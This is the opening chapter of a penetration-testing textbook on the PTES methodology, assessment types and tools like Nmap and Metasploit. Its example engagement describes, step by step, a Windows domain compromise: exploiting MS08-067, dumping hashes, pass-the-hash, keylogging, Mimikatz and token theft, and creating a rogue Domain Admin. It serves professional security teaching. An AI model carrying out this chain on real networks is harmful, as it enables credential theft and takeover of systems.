Python: Penetration Testing for Developers

4.7 (3 reviews total)
By Christopher Duffy , Mohit Raj , Cameron Buchanan and 4 more
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  1. Understanding the Penetration Testing Methodology

About this book

Cybercriminals are always one step ahead, when it comes to tools and techniques. This means you need to use the same tools and adopt the same mindset to properly secure your software. This course shows you how to do just that, demonstrating how effective Python can be for powerful pentesting that keeps your software safe. Comprising of three key modules, follow each one to push your Python and security skills to the next level.

In the first module, we’ll show you how to get to grips with the fundamentals. This means you’ll quickly find out how to tackle some of the common challenges facing pentesters using custom Python tools designed specifically for your needs. You’ll also learn what tools to use and when, giving you complete confidence when deploying your pentester tools to combat any potential threat.

In the next module you’ll begin hacking into the application layer. Covering everything from parameter tampering, DDoS, XXS and SQL injection, it will build on the knowledge and skills you learned in the first module to make you an even more fluent security expert.

Finally in the third module, you’ll find more than 60 Python pentesting recipes. We think this will soon become your trusted resource for any pentesting situation.

This Learning Path combines some of the best that Packt has to offer in one complete, curated package. It includes content from the following Packt products:

● Learning Penetration Testing with Python by Christopher Duffy

● Python Penetration Testing Essentials by Mohit

● Python Web Penetration Testing Cookbook by Cameron Buchanan,Terry Ip, Andrew Mabbitt, Benjamin May and Dave Mound

Publication date:
October 2016


Chapter 1. Understanding the Penetration Testing Methodology

Before jumping in too quick, in this chapter, we will actually define what penetration testing is and is not, what the Penetration Testing Execution Standard (PTES) is, and the tools that would be used. This information will be useful as a guideline for future engagements that you may be part of. This chapter will help guide new assessors and organizations who want to set up their own engagements. If you want to jump right into the code and the nitty gritty details, I suggest jumping to Chapter 2, The Basics of Python Scripting. I caution you though that the benefit of reading this chapter is that it will provide a framework and mindset that will help you to separate a script kiddie from a professional. So, let's start with what a penetration test is.

Most important, these tools and techniques should only be executed in environments you own or have permission to run these tools in. Never practice these techniques in environments in which you are not authorized to do so; remember that penetration testing without permission is illegal, and you can go to jail for it.


To practice what is listed in the initial chapters, install a virtualization suite such as VMware Player ( or Oracle VirtualBox ( Create Virtual Machines (VMs) out of the current version of Kali Linux (, Samurai Web Testing Framework (, and Metasploitable ( You can execute tests against these by using the Metasploitable box from the Kali system. The last link provided has a number of tutorials and configuration notes related to these tools; if additional tool are necessary for each chapter, they will be highlighted there.


An overview of penetration testing

There is a huge misconception about what penetration testing is. This is common even among professionals who have recently entered the field. New penetration testers or professionals who request penetration tests often say that these tests prove the exploitability of vulnerabilities, the susceptibility of an environment to exploitation, or just the presence of vulnerabilities. This misunderstanding manifests itself into real impacts on engagements as they are scoped, sourced, and conducted. Further, this mistaken perception includes the thought that a penetration test will find all vulnerabilities, it will be able to find unknown zero days every time, and all objectives will always be met irrespective of the controls put in place.

A penetration test is the practice of assessing an organization's security strategy's ability to protect critical data from the actions of a malicious actor. A security strategy is the organization's overarching information security program. It focuses on maintaining the confidentiality, integrity, and availability of the organization's critical data and resources. This is to mitigate risk to an acceptable level by using a combination of people, processes, and technology. The difference between the first and the second definition of a penetration test is night and day.

The first definition focuses solely on vulnerabilities; this means that people expect the activity that an assessor will perform to be related to exploiting or finding vulnerabilities or simple misconfigurations. It does not take into account bad practices related to the policies, processes, or insecure relationships that the organization may have. These preconceived notions often have the following significant impacts for both organizations and new assessors.

Organizational leadership will not create goals related to breaching access controls related to critical data repositories or identifying critical data locations. There will also be an initial belief that Intrusion Protection Systems (IPS) and Intrusion Detection Systems (IDS) are the linchpin to preventing a compromise; all experienced assessors know that this is not true. Additionally, assessments may not be scoped in a manner that would provide realistic results. The most damaging result of this misunderstanding is that the organization may not be able to identify when an assessor is missing the skills necessary to execute the required engagement.


Similarly, new assessors have the misconception that a Vulnerability Management Solution (VMS) such as Nexpose, Nessus, Qualys, or others will identify the way into an environment. These may highlight ways to get into a system, but there is a high rate of false positives and true negatives. A false positive means something was identified as vulnerable, but it is not. The opposite of a false positive is a true negative, which means that something was identified as secure, but it is instead vulnerable.

If vulnerabilities are not within the database, then the system will not identify the vulnerability that could grant access. VMS will not highlight the chained attacks related to bad practices or processes, which would be classified as a weakness or vulnerability. The use of these tools for penetration tests makes them exceedingly noisy, and they encourage assessors to simulate attacks that are relatively outdated.

Most malicious actors take advantage of the path of least resistance, which usually does not relate to Remote Code Exploits such as the famous MS08-067 or MS06-40. Instead, an assessor should step back and look for insecure associations and configurations that may provide unnoticed access. Most senior assessors do not use VMS tools during penetration tests, but instead focus on assessing environments manually.

Many of these misconceptions relate directly to other types of engagements. This comes from other security assessments being advertised as penetration tests, or from people either running or receiving the results of these engagements. In the following section, a sample of assessments that are often confused with penetration tests is listed. It should be enough to highlight the differences between an actual penetration test and other security assessments and activities.


Understanding what penetration testing is not

Other types of assessments and activities are often advertised or confused as penetration tests. Examples of these types of engagements include vulnerability assessments, large-scale reverse engineering projects, and hacking. Let's address each of these in turn so as to understand where penetration testing fits in.

Vulnerability assessments

A Vulnerability Assessment (VA) uses a VMS to scan for vulnerabilities. The good VAs then use an assessor to eliminate false positives, after which the actual risk rating of the findings may be adjusted on the basis of the business impact and the likelihood of exploitation. Often security consultants or penetration testers execute these assessments, which may require the actual exploitation of these vulnerabilities for a proof of concept. This type of assessment is great for showing how good an organization is at performing patching and deploying assets in a secure configuration. The key here is that these types of assessments do not focus on gaining access to critical data from the perspective of a malicious actor, but instead relate to finding vulnerabilities.

Reverse engineering engagements

Reversing can be part of a penetration test, but it is much rarer today than in the past. Chapter 8, Exploit Development with Python, Metasploit, and Immunity, will discuss this in greater detail as an actual exploit development will be described here. Current penetration tests may include exploit development, but it is done to create a proof of concept related to homegrown code and gaining access to a critical system where the data may reside.

In contrast, in large-scale reversing engagements, an assessor tries to prove the overall susceptibility of the application to being reversed and the weaknesses related to the source code, compilation, and associated libraries. These types of engagements are better suited to a reversing engineer, who spends time identifying common attack chains and methods to compromise an application, versus gaining access to critical data. The level of experience in this specific arena is extensive. Often, many assessors move from penetration testing to this specific skillset where they do reversing full time.


Hacking is not an assessment, but deals directly with taking advantage of exploitable vulnerabilities; it could be related to malicious activity or it could be done for research. The purpose of hacking is not to gain access to critical data, but to solely crack vulnerabilities. There are many definitions of hacking, and it is often directly related penetration testing, but there are no specific or explicit goals related to hacking. Now that some of the big differences between a penetration test and the other activities have been delineated, the methodology related to achieving goals can be highlighted.


Assessment methodologies

There is a variety of assessment methodologies related to penetration testing. Examples of some methodologies include the Open Source Security Testing Methodology Manual (OSSTMM), the Open Web Application Security Project (OWASP) for web assessments, the National Institute of Standards and Technology (NIST) Special Publication 800-115 Technical Guide to Information Security Testing and Assessment, and the PTES. The methodology that we will focus on in this module is the PTES because it is a solid resource for new assessors.


The penetration testing execution standard

The PTES has seven different phases, namely Pre-engagement Interactions, Intelligence Gathering, Threat Modeling, Vulnerability Analysis, Exploitation, Post Exploitation, and Reporting. Each engagement will follow these phases to some extent, but an experienced assessor will move from one phase to the next smoothly and relatively seamlessly. The biggest benefit of using a methodology is that it allows assessors to evaluate an environment holistically and consistently. Being consistent with an assessment means a couple of things:

  • It is less likely that an assessor will miss large vulnerabilities

  • It mitigates tunnel vision, which causes assessors to take too much time concentrating in regions that will not move the engagement forward

  • This means that irrespective of the customer or the environment, an assessor will not approach the engagement with preconceived notions

  • The assessor will provide the same level of competence to an environment each time

  • A customer will receive a high-quality product each time with few chances of an assessor missing details

All methodologies or frameworks provide these benefits, but PTES like the OWASP has an additional benefit for new assessors. Within PTES, there are a number of technical guidelines that relate to the different environments that an assessor may encounter. In these technical guidelines, there are suggestions for how to address and evaluate an environment with industry standard tools.

A caveat to this is that the technical guidelines are not run books; they will not provide an assessor the means to step into an engagement and execute it from start to finish. Only experience and exposure to an environment will provide an assessor the means to deal with most situations that he/she encounters. It should be noted that no two environments are identical; there are nuances to each organization, company, or firm. These differences mean that even a very experienced assessor will find moments that will stump him/her. When standard exploits do not work, testers can have tunnel vision; sticking to a methodology will prevent that.

In highly secure environments, assessors will often have to become creative and chain exploits to achieve the set goals and objectives. One of my old teammates eloquently defined creative and complex exploits as follows: "They are a sign of desperation by a penetration tester." This humorous analogy also highlights when an assessor will grow his/her skills.

How an assessor knows when he/she needs to execute these complex exploits is by knowing that all the simple stuff has failed; as a real attacker uses the path of least resistance so should an assessor. When this fails, and only when this fails, should an assessor start ratcheting up the necessary skill level. You as an assessor are evaluating an environment's ability to resist the actions of malicious actors.

These protections are bricks in a building, built up over time and result in a secure posture by forming a defense. Much like American Football, if an organization has not mastered the fundamental components of a strong defense, there is no way it can defend against a trick play. So, we as assessors should start from the bottom and work our way up, itemizing the issues.

This does not mean that if one path is found, an assessor should stop; he/she should identify critical data locations and prove that these can be compromised. The assessor should also highlight other paths that a real attacker could take to reach critical data. Being able to identify multiple paths and methods related to compromising critical data again requires a methodical approach. The seven phases are an example of controlling the flow of engagement.

Pre-engagement interactions

The first phase of PTES is for all the pre-engagement work, and without a doubt, this is the most important phase for a smooth and successful engagement. Any shortcuts taken here or undue haste to complete this phase can have a significant impact on the rest of the assessment. This phase starts off typically by an organization creating a request for an assessment. Examples of assessments that may be requested usually fall into one of the following broad categories:

  • Web application

  • Internal network

  • External network

  • Physical

  • Social engineering telephony

  • Phishing

  • Voice Over Internet Protocol (VOIP)

  • Wireless

  • Mobile application

The organization may contact an assessor directory or provide a Request for Proposal (RFP), which will detail the type of environment, the assessment required, and the expectations of what it wants delivered. On the basis of this RFP, multiple assessment firms or individual Limited Liability Corporations (LLCs) will bid on the work related to the environment details. The party whose bid best matches the work requested, price, the associated scope, timeline, and capabilities will usually win the work.

The Statement of Work (SOW), which details the work that will be performed and the final products, is usually part of an Engagement Letter (EL) or contract that contains all the required legal details as well. Once the EL is signed, the fine tuning of the scope can begin. Typically, these discussions are the first time an assessment team will encounter the scope creep. This is where the client may try to add on or extend the promised level of work to get more than it may have promised to pay for. This is usually not intentional, but in rare occurrences, it is due to a miscommunication between the writers of the RFP, the returned answers for the questions that the assessors ask, and the final EL or SOW.

Often, small adjustments or extensions of work may be granted, but larger asks are pushed off as they may be perceived as working for free. The final scope is then documented for the portion of the engagement that is going to be executed. Sometimes, a single EL will cover multiple engagement portions, and more than one follow-on discussion may be needed. The big thing to remember in this phase is that as an assessor, you are working with a customer, and we should be helpful and flexible to aid it in reaching its goals.

In addition to the scope creep, which is created during the initial engagement scoping, there are often opportunities for the client to increase the scope during the engagement execution. This often comes with the client asking for work extensions or additional resource testing after the testing has started. Any modification to the scope should not only be carefully considered due to resources and timing, it should also be completed in some documented form, such as e-mail, signed and authorized letter, or other non-reputable confirmations of the request.

Most importantly, any scope adjustments should be done by the personnel authorized to make such decisions. These considerations are all part of keeping the engagement legal and safe. People signing these documents have to understand the risks related to meeting deadlines, assessing the specific environment, and keeping the stakeholders satisfied.

The goals of the engagement are defined during this particular phase, along with approvals that may be necessary by other parties. If a company hosts its environment on a cloud provider infrastructure or other shared resources, an approval will be needed from this organization as well. All parties that approve the activity typically require the start and end dates of the testing, and source Internet Protocol (IP) addresses, so that they can validate the activity as not truly malicious.

The other items that must be established at the beginning of the assessment are points of contact for both normal reporting of assessments and emergency situations. If a resource is thought to have been taken offline by an assessor's activity, the assessor needs to follow-up with the point of contact, immediately. Additionally, if a critical vulnerability is found, or if there is a belief that a resource has already been compromised by a real malicious actor, the assessor should immediately contact the primary point of contact if possible, and the emergency contact if not.

This contact should come after the assessor has captured the necessary proof of concepts to show that the resource may have already been compromised or that there is a critical vulnerability. The reason the capturing of a proof of concept is completed prior to contact is that the reporting of these issues usually means that the resource is taken offline. Once it is offline, the assessor may have no ability to follow-up and prove the statements he/she makes in the final report.


A proof of concept is typically a screen capture of a particular data type, event train, exposure, exploit, or compromise.

In addition to reporting unforeseen and critical events, a regular status meeting should be scheduled. This can be weekly, daily, or more often or less often, depending on the client's requests. The status meeting should cover what the assessor has done, what they plan to do, and any deviations noted for the timeline that could impact the final report delivery.

Related to product and final report delivery, there has to be a secure method to deliver the details of the engagement. The balance here comes from the following factors, the client's capabilities and knowledge level, the solutions available to the assessment team, how secure the data can be made, and the client's abilities and requests. Two of the best options are secure delivery servers, or Pretty Good Privacy (PGP) encryption. Sometimes, these options are not available or one of the parties cannot implement or use them. At this point, other forms of data protection should be determined.

A big caveat here is that password protected documents, portable document formats, and zip files typically do not have strong forms of encryption, but they are better than nothing. These still require a password to be transmitted back and forth to open up the data. The password should be transmitted when possible by some other method, or a different channel than the actual data. For example, if the data is sent by e-mail, the password should be provided by a phone call, text message, or carrier pigeon. The actual risks related to this will be highlighted in the later chapters when we discuss password spray attacks against web interfaces and methods to crack the perimeter. The last part of the pre-engagement discussion relates to how the test will be conducted: White Box, Grey Box, or Black Box.

White Box Testing

White Box testing is also known as Clear Box testing or Crystal Box testing. The term could be any of the three, but what it basically amounts to is an informed attacker or informed insider. There are multiple arguments about what the appropriate term is, but at the end of the day, this type of assessment highlights the risk related to malicious insiders or attackers who have access to significantly exposed information. The assessor is provided intimate details related to what is on the network, how it operates, and even potential weaknesses, such as infrastructure design, IP addresses, and subnets. With extremely short timelines, this type of assessment is very beneficial. Stepping back from fully exposed information or the curtain being pulled back completely is the Grey Box format.

Grey Box Testing

Assessments that follow the Grey Box format have the assessor-provided basic information. This includes targets, areas of acceptable testing, and operating systems or embedded device brands. Organizations typically also itemize what IDS/IPS is in place so that if the assessor starts seeing erroneous results, he/she can identify the cause. Grey Box assessments are the most common type of assessment, where organizations provide some information to improve the accuracy of the results and increase the timeliness of the feedback; at the end, it may reduce the cost of the engagement.

Black Box Testing

The number of Black Box engagements that an assessor will encounter is roughly the same as that of White Box engagements, and they are the exact opposite side of the spectrum. Assessors are provided no information other than the organization that they are going to assess. The assessor identifies resources, which are active from extensive Open Source Intelligence (OSINT) gathering. Senior assessors should only execute these types of engagements, as they have to identify regions where the targets are live on externals and be extra quiet on internals.

Targets are always validated as authorized or owned by the requesting organization, prior to testing for the external assessment by the organization after initial research. A Black Box test is often part of a Double Blind test, which is also known as an assessment that is not only a test of their environment but also the monitoring and incident response capabilities of the organization.

Double Blind Testing

Double Blind tests are most often part of a Black Box style engagement, but they can be done with Grey and White Box engagements as well. The key with Grey and White Box engagements is that the control of the testing period, attack vectors, and other information is much more difficult to keep a secret from the defensive teams. Engagements that are considered Double Blind must be well established prior to executing the engagements, which should include a post-mortem discussion and verification of what specific activity was detected and what should have been detected. The results of these types of engagements are very useful in determining how well the defensive teams' tools are tuned and the potential gaps in the processes. A Double Blind should only be executed if the organization has a mature security posture.

Intelligence gathering

This is the second phase of PTES and is particularly important if the organization wants the assessment team to determine its external exposure. This is very common with the Black or Grey Box engagements related to external perimeter tests. During this phase of the engagement, an assessor will use registries such as the American Registry of Internet Numbers (ARIN) or other regional registries, information repositories query tools such as WhoIs, Shodan, Robtex, social media sites, and tools like Recon-ng and the Google Hacking Database (GHDB).

In addition to external assessments, the data gathered during this phase is perfect for building profiles for social engineering and physical engagements. The components discovered about an organization and its people, would provide an assessor the means to interact with the employees. This is done in hope that employees will divulge information or pretext it so that critical data can be extracted. For technical engagements, research done on job sites, company websites, regional blogs, and campus maps can help build word lists for dictionary attacks. Specific data sets such as the local sports teams, player names, street names, and company acronyms are often very popular as passwords.


Merriam Webster defines "pretext" as an alleged purpose or motive or an appearance assumed in order to cloak the real intention or state of affairs.

Tools like Cewl can be used to extract words on these websites, and then, the words can be manipulated with John the Ripper to permutate the data, with character substitution. These lists are very useful for dictionary attacks against login interfaces, or for cracking extracted hashes from the organization.


Permutation is very common with password attacks and interface password-guessing attacks. Merriam Webster defines "permutation" as one of the many different ways or forms in which something exists or can be arranged.

Other details that can be advantageous to an assessor are the technology that the organization lists in job advertisements, employee LinkedIn profiles, technical partnerships, and recent news articles. This will provide the assessor intelligence about the types of assets he/she may encounter and the major upgrades on the horizon. This allows the work done on site to be better targeted and researched prior to execution.

Threat modeling

The third phase of PTES is threat modeling, and for most engagements, this phase is skipped. Threat modeling is more often part of a separate engagement that is to itemize potential threats that an organization may face on the basis of a number of factors. This data is used to help build case studies to identify real threats that would take advantage of the organization's vulnerabilities to manifest into risks. Often, the case studies are used to quantify specific penetration tests over a period of time to determine how resolute the security strategy is and what factors had not been considered.

The components for research are expanded outside of standard intelligence gathering to include associated business, business models, third parties, reputation, and news articles related to insightful topics. In addition to what is found, there are always particles that an assessor will not be able to determine due to time, exposure, and documented facts. Threat modeling is largely theoretical, but it is based on the indicators found and past incidents in the market that the business resides in.

When threat modeling is used as part of a penetration test, the details from the intelligence gathering phase and the threat modeling phase are rolled back into the pre-engagement phase. The identified details help build an engagement and reveal the type of malicious actor that an assessor should be impersonating. Common types of threats that organizations face are as follows:

  • Nation states

  • Organized crime

  • Hackers

  • Script kiddies

  • Hacktivists

  • Insiders (intentional or unintentional)

Here are a couple of things to always keep in mind when assessing threats, any one of these types of threats can be an insider. All it takes is a single phishing e-mail, or one disgruntled employee who broadcasts credentials or accesses, for an organization to be open to compromise. Other ways that an insider may unintentionally provide access include technical forums, support teams, and blogs.

Technical and administrative support teams frequent blogs, forums, and other locations, where they may post configurations or settings in search of help. Anytime this happens, internal data is exposed to the ether, and often, these configurations hold encrypted or unencrypted credentials, access controls, or other security features.

So, does this mean that every organization is threatened by insiders, and the range of experience may not be limited to that of the actual insider? Insiders are also the hardest threat to mitigate. Most penetration tests do not include credentials to simulate an insider. In my experience, this is only done by an organization that has a mature security posture. This state is typically reached only through a variety of security assessments to include multiple threats simulated through penetration tests.

Most organizations do not support an internal credentialed assessment, unless they have had a number of uncredentialed engagements, where the findings have been mitigated. Even then, it is only by organizations that have a strong desire to simulate realistic threats with a Board-level buy-in. Besides insiders, the rest of the threats can be evaluated by looking at multiple factors; an example of past incident association can be found by looking at the Verizon Data Breach Investigation Report (DBIR).

The Verizon DBIR uses reported compromises and aggregates the results to attribute, by market, the types of incidents that are the most frequently identified. This information should be taken in context though, as this is only for incidents that were caught or reported. Often, the caught incident may not have been the manner that initially led to the follow-on compromise.

Threats to market change every year, so the results of a report created in one year would not be useful for research the following year. As such, any reader interested in this information should download a current version from Additionally, make sure to choose which vector to simulate on the basis of additional research related to exposed information, and other reports. It would be unprofessional to execute an assessment on the basis of assumptions from a single form of research.

Most of the time, organizations already know what type of engagement they need or want. The interaction of this phase and the described research is typically what is requested from industry experts, and not from new assessors. So, do not be surprised if stepping into doing this work, you see few requests to do assessments that include this phase of work, at least initially.

Vulnerability analysis

Up until this phase, most, if not all, of the research done has not touched an organizational resource; instead, the details have been extracted from other repositories. In the fourth phase of PTES, the assessor is about to identify viable targets for further research Testing. This deals directly with port scans, banner grabs, exposed services, system and service responses, and version identification. These items though seemingly minute, are the fulcrum for gaining access to an organization.

The secret to becoming a great assessor from a technical perspective lies in this phase. The reason for this is that the majority of an assessor's time is spent here, particularly early in one's career. Assessors research what is exposed, what vulnerabilities are viable, and what methods can be used to exploit these systems. Assessors who spend years doing this are the ones you will often see speeding through this phase because they have the experience to find methods to target attacks and gain access. Do not be fooled by this, as for one, they have spent many years cataloging this data through experience and two, there are always occasions where even a great assessor will spend hours in this phase because an organization may have a unique or hardened posture.

The great secret of penetration testing, which is usually not relayed in movies, magazines, and/or books, is that penetration testing is primarily research, grinding, and report writing. If I had to gauge the average percentage of time that a good new assessor spends during an engagement, 70 percent would be on research or grinding to find applicable targets or a viable vulnerability, 15 percent on communication with the client, 10 percent on report writing, and 5 percent on exploitation. As mentioned though, these percentages shift as assessors gain more experience.

Most assessors who fail or have a bad engagement are caused by pushing through the phases, and not executing competent research. The benefit of spending the required time here is that the next phase related to exploitation will flow very quickly. One thing that assessors and malicious actors both know is that once a foothold in the organization has been grabbed, it is basically over. Chapter 3, Identifying Targets with Nmap, Scapy, and Python, covers activities completed in this phase at length.


Phase five is the exploitation phase, and this is where the fun really begins. Most of the chapters focus on the previous phase's vulnerability analysis, or this phase. This phase is where all the previous work has led to actually gaining access to a system. Common terms for gaining system access are popped, shelled, cracked, or exploited. When you hear or read these terms, you know that you should be gaining access to a system.

Exploitation does not just mean access to a system via a piece of code, remote exploit, creation of an exploit, or bypassing antivirus. It could be as simple as logging into a system directly with default or weak credentials. Though many newer assessors look at this as less desirable, experienced assessors try and find ways to access hosts through native protocols and accesses. This is because native access is less likely to be detected and it is closer to the real activity that a malicious actor may be performing.

If you are new to penetration testing, there are some specific times during exploitation where you will be very excited, and these are often looked at as goals:

  • The first time you gain a shell

  • The first time you exploit each of the OWASP top 10 vulnerabilities

  • The first time you write your own exploit

  • The first time you find a zero day

These so-called goals are typically measuring sticks for experience among assessors, and even within organizational teams. After you have achieved these first-time exploit goals, you will be looking to expand your skills to even higher levels.

Once you have gained access to a system, you need to do something with that access. When looking at the difference between seasoned professionals and the new assessors in the field, the delineation is not exploitation, but post exploitation. The reason for this is that initial access does not get you to the data, but the follow-on, the pivot, and the post exploitation typically does.


A pivot is the method of taking advantage of a new position during an assessment to assess resources that are normally not accessible. Most people equate pivoting to setting up a route in Metasploit, but it also relates to attacking or assessing resources from a different compromised device.

Post exploitation

Out of all phases, this is where you see a shift in the time spent by assessors. New assessors usually spend more time in phase four or the vulnerability analysis phase, while seasoned assessors spend an enormous amount of time here. Phase six is also known as the post exploitation phase; the escalation of privileges, hunting for credentials, extraction of data, and pivoting are all done here.

This is where an assessor has the opportunity to prove risk to an organization by proving the level of access achieved, the amount and type of critical data accessed, and the security controls bypassed. All of this is typified in the post exploitation phase.

Just like phase five, phase six has specific events that are typically goals for newer assessors. Just like exploitation goals, once these post exploitation goals have been completed, you will be shooting for even more complex achievements in this security specialization.

The following are examples of these measuring sticks between new assessors and competent assessors:

  • The first time you manually elevate your privileges on Windows, Linux, Unix, or Mac Operating System

  • The first time you gain Domain Administrator access

  • The first time you modify or generate a Metasploit module

The post exploitation phase includes activities related to escalating privileges, extracting data, profiling, creating persistence, parsing user data and configurations, and clean-up. All activities performed after a system has been accessed and transitions to system examination relate to post exploitation. Once an engagement is over, all the access levels achieved, the critical data accessed, and the security controls bypassed are highlighted in a single document, the report.


The most important phase related to penetration testing not just with PTES is reporting. At the end of the day, your client is requesting and paying for a report. The only thing he/she can hold in his/her hands at the end of the engagement is the report. The report is also what translates the risks that the assessor identified in the environment.

A good report has an executive summary, which targets personnel who are part of the Chief suite and or the Advisory Board. It should also contain a storyline to explain what was done during the engagement, the actual security findings or weaknesses, and the positive controls that the organization has established. Each noted security finding should include a proof of concept when possible.

A proof of concept is just that; you are proving the existence of an exception to a secure state through exploitation. So, each identified finding should include a screen capture related to the activity conducted, such as weak passwords, exploited systems, and critical data accessed.

Just like the security findings identified in the organization, any positive findings need to be noted and described. The positive findings help to tell an organization what has actually impacted a simulated malicious actor. It also tells an organization where it should keep its investments, as the report and the engagement provide tangible proof that it is working.

An example engagement

The following section highlights how an assessor achieves access, elevates privileges, and potentially gains access to critical data at a high level. This example should provide the context for the tools covered in the rest of this chapter and the following chapters. It should be noted that phases four, five, and six or the vulnerability analysis, exploitation, and post exploitation phases, respectively, of PTES are repetitive. Each one of these phases will be executed throughout an assessment. To better highlight this, the following scenario is a very common exploit train conducted by newer assessors today, which shows what tools are used. This is not to show how to complete the commands to complete this on your own, but to highlight the phase flow, and the tools used for each phase can be nebulous.

As an assessment is conducted, an assessor will identify vulnerabilities, exploit them as needed, and then escalate privileges and extract data after exploitation or post exploitation. Sometimes, a single action may be considered a combination of vulnerability analysis and exploitation, or exploitation and post exploitation phase activities. As an example of repetitive steps, after an assessor identifies a Windows XP host and determines whether it has the vulnerability MS08-067, the assessor exploits it with the associated Metasploit module called ms08_067. The assessor will escalate privileges and then extract hashes from the exploited system by using the smart_hashdump module. The assessor will then copy the local administrator hash from the extracted hashes, which is correlated to the Security Identifier (SID) of 500 stored in the pwdump hash format.

The assessor will scan all the hosts in the area and determine whether the hosts have port 445 open by using the nmap tool. These may be viable targets for a Pass-the-Hash (PtH) attack, but the assessor has to determine whether these hosts have the same local administrator password. So, the assessor creates a list of IP addresses with the open port 445 Server Message Block (SMB) over IP, by parsing the output with the Unix/Linux tools cat, grep, and cut. With this list, the assessor executes an SMB login with the smb_login Metasploit module against all the hosts in the newly created list, with the local administrator hash, and the Domain set to WORKGROUP.

Each host that responds with a successful login would be a viable target for a PtH attack. The assessor has to find a host with new information or critical data that would be beneficial for the engagement to move forward. Since the assessor has a foothold on the network through the Windows XP box, he/she would just need to find out who the Domain Administrators are and where they are logged in.

So, he/she would query members of the Domain Admins group from the Domain that the Windows XP host was attached to with the enum_domain_group_users Metasploit module. The assessor could then identify where the Domain Admins were logged into with the community Metasploit module called loggedin_users or the built-in modules called psexec_loggedin_users or enum_domain_users. Hosts that had responded with a successful login message from the smb_login module would be tested with either of the modules and the relevant domain name. The hosts that responded with the username of one of the Domain Administrators on it would be the best place to exploit. The assessor could then execute a PtH attack and drop a payload on the box with the psexec Metasploit module. This would be done with the same local administrator hash and domain set to WORKGROUP.

Once a foothold was established on that system, the assessor can determine whether the Domain Administrator was logged into the system currently or had done so in the past. The assessor could query the system and identify the currently logged in users, and if they were active. If the user was currently active in the session, the assessor could set up a key logger with Metasploit and lock the screen with the smartlocker module. This used to be broken up into multiple modules in the past, but today, we are efficient. When the user unlocked the screen, he/she would enter the credentials for the account and in turn provide them to the assessor.

If the user was not currently active, the assessor could try and extract the credentials from memory with tools like Mimikatz, by loading the capability into the Meterpreter session with load mimikatz and running wdigest. If no credentials were in memory, the assessor could try and impersonate the user by stealing a token that remained in memory for the cached credentials by loading the Incognito tool into Meterpreter with the load incognito command. Using this access, the assessor could then create a new user on the domain and then add the user to the Domain Admins group on Domain Controller. To identify the applicable domain controller, the assessor would ping the domain name, which would respond with the IP of the DC.

Finally, the assessor could create his/her new malicious user with the add_user command and add_group_user to the Domain Admins group pointed to the DC IP with the -h flag. This Domain Administrator may provide additional accesses around the network or have the ability to create and/or modify an additional account with the relevant accesses as needed. As you can see in these steps, there were multiple examples of the three phases that repeat. Go through the following list to see how each activity applies to a specific phase:

  1. Identify Windows XP host (vulnerability analysis).

  2. Determine whether the Windows XP host is vulnerable to MS08-067 (vulnerability analysis).

  3. Exploit the Windows XP host with Metasploit's MS08-067 exploit (exploitation).

  4. Extract hashes from Windows XP hosts (post exploitation).

  5. Scan all other hosts for SMB over IP or port 445 (vulnerability analysis).

  6. Execute an SMB login with the local administrator hash to identify vulnerable hosts (vulnerability analysis/exploitation).

  7. Query Domain Controller for members of the Domain Admins group on the Windows XP system (post exploitation).

  8. Identify logged in users on systems with the same local administrator hash as the Windows XP box, to identify where a Domain Administrator is logged in (exploitation/post exploitation).

  9. Execute a PtH attack against systems with Domain Admins that are logged in (exploitation).

  10. Determine what state of activity the Domain Administrator is on the box (post exploitation):

    • If logged in currently, set up a key logger (post exploitation)

    • Lock the screen (exploitation/post exploitation)

    • If the credentials are in memory, steal them with Mimikatz, which is a tool that we highlight below (post exploitation)

    • If tokens are in memory from a cached session steal them with Incognito (post exploitation)

  11. Identify Domain Controller by pinging Domain (vulnerability analysis).

  12. Create a new user on Domain Controller from the compromised system (post exploitation).

  13. Add the new user to the Domain Admins group from the compromised system (post exploitation).

  14. Identify new locations of critical data that can be accessed (vulnerability analysis).

Now, experienced assessors will often complete the necessary activity related to the vulnerability analysis and catalog the data early if they can. So, creating lists of hosts with port 445 open, the DC IP address, and other details would have been done early on in the assessment. This way if the engagement is part of a Double Blind assessment, the assessor can move quickly to gain privileged access before he/she is caught. Now that the methodology and organization of an assessment has been laid out, we need to look at what tools are used currently.


Penetration testing tools

The following are some of the most common tools used during an engagement, with examples of how and when they are supposed to be used. Many of these tools are further explained, with additional examples after Chapter 2, The Basics of Python Scripting. We cannot cover every tool in the market, and the specific occurrences for when they should be used, but there are enough examples here to provide a solid foundation of knowledge. More than one line may be needed to display command examples that are extra-long, in this module. These commands will have the \ character to designate a new line. If these commands are copied and pasted, they will function just fine because in Linux and Unix, a command is continued after a carriage return.

These have also been organized on the basis of what you will most likely get the most use out of. After reviewing these tools, you will know what is in the market and see the potential gaps where custom Python scripts or tools may be needed. Often, these scripts are just bridging agents to parse and output the details needed in the correct format. Other times, they automate tedious and laborious processes; keep these factors in mind as you read ahead.


Network Mapper (Nmap) is one of the first tools that were created for administrators and security professionals. It provides some of the best capabilities in the industry to quickly analyze targets and determine whether they have open ports and services that could be exploited. Not only does the tool provide us as security professionals additional capabilities related to Luna scripts, which can act as a small VMS, but they also provide the means to exploit a system.

As if all this was not enough to make Nmap a staple for assessors' and engineers' toolkits, the Nmap Security Scanner Project and have set up a site for people who need to run a few test scans a day at In addition to allowing new assessors a chance to execute a couple of scans a day, this site is good to see what ports are accessible from within an organization. If you want to test this out yourself, try a standard full connection Transmission Control Protocol (TCP) port scan against the site. Additional details related to Nmap will be discussed in Chapter 3, Identifying Targets with Nmap, Scapy, and Python. The following example shows how to do one against the top 10 ports open on the Internet (please read the advisory on their website prior to executing this scan):

nmap –sT –vvv --top-ports 10 –oA scan_results


In 2003, H.D. Moore created the famous Metasploit Project, originally coded in Perl. By 2007, the framework was recoded completely in Ruby; by October 2009, he sold it to Rapid7, the creators of Nexpose. Many years later, the framework is still a freely available product thanks to stipulations of the sale made by H.D. Moore. From the framework, Rapid7 has created a professional product, aptly called Metasploit Pro.

The Pro solution has a number of features that the framework does not, such as integration into Nexpose, native Intrusion Prevention System (IPS) bypassing payloads, a web Graphical User Interface (GUI), and multiuser capability. These extra features come at a substantial price, but depending on your market, some customers require all tools to be paid for, so keep the Pro version in mind. If you have no need to pay for Metasploit, and the additional features are not needed, the framework will suffice.

Remember that the IPS bypass tool within Metasploit Pro has a number of different evasion methods built in. One of the features is that the structure of the exploit code is slightly different each time. So, if the IPS bypass fails one time, it may work a second time against the same host by just rerunning it. This does not mean that if you run it 10 different times, you are going to get it right the 10th time if the first nine failed. So, be aware and learn the error messages related to psexec and the exploitation of systems.

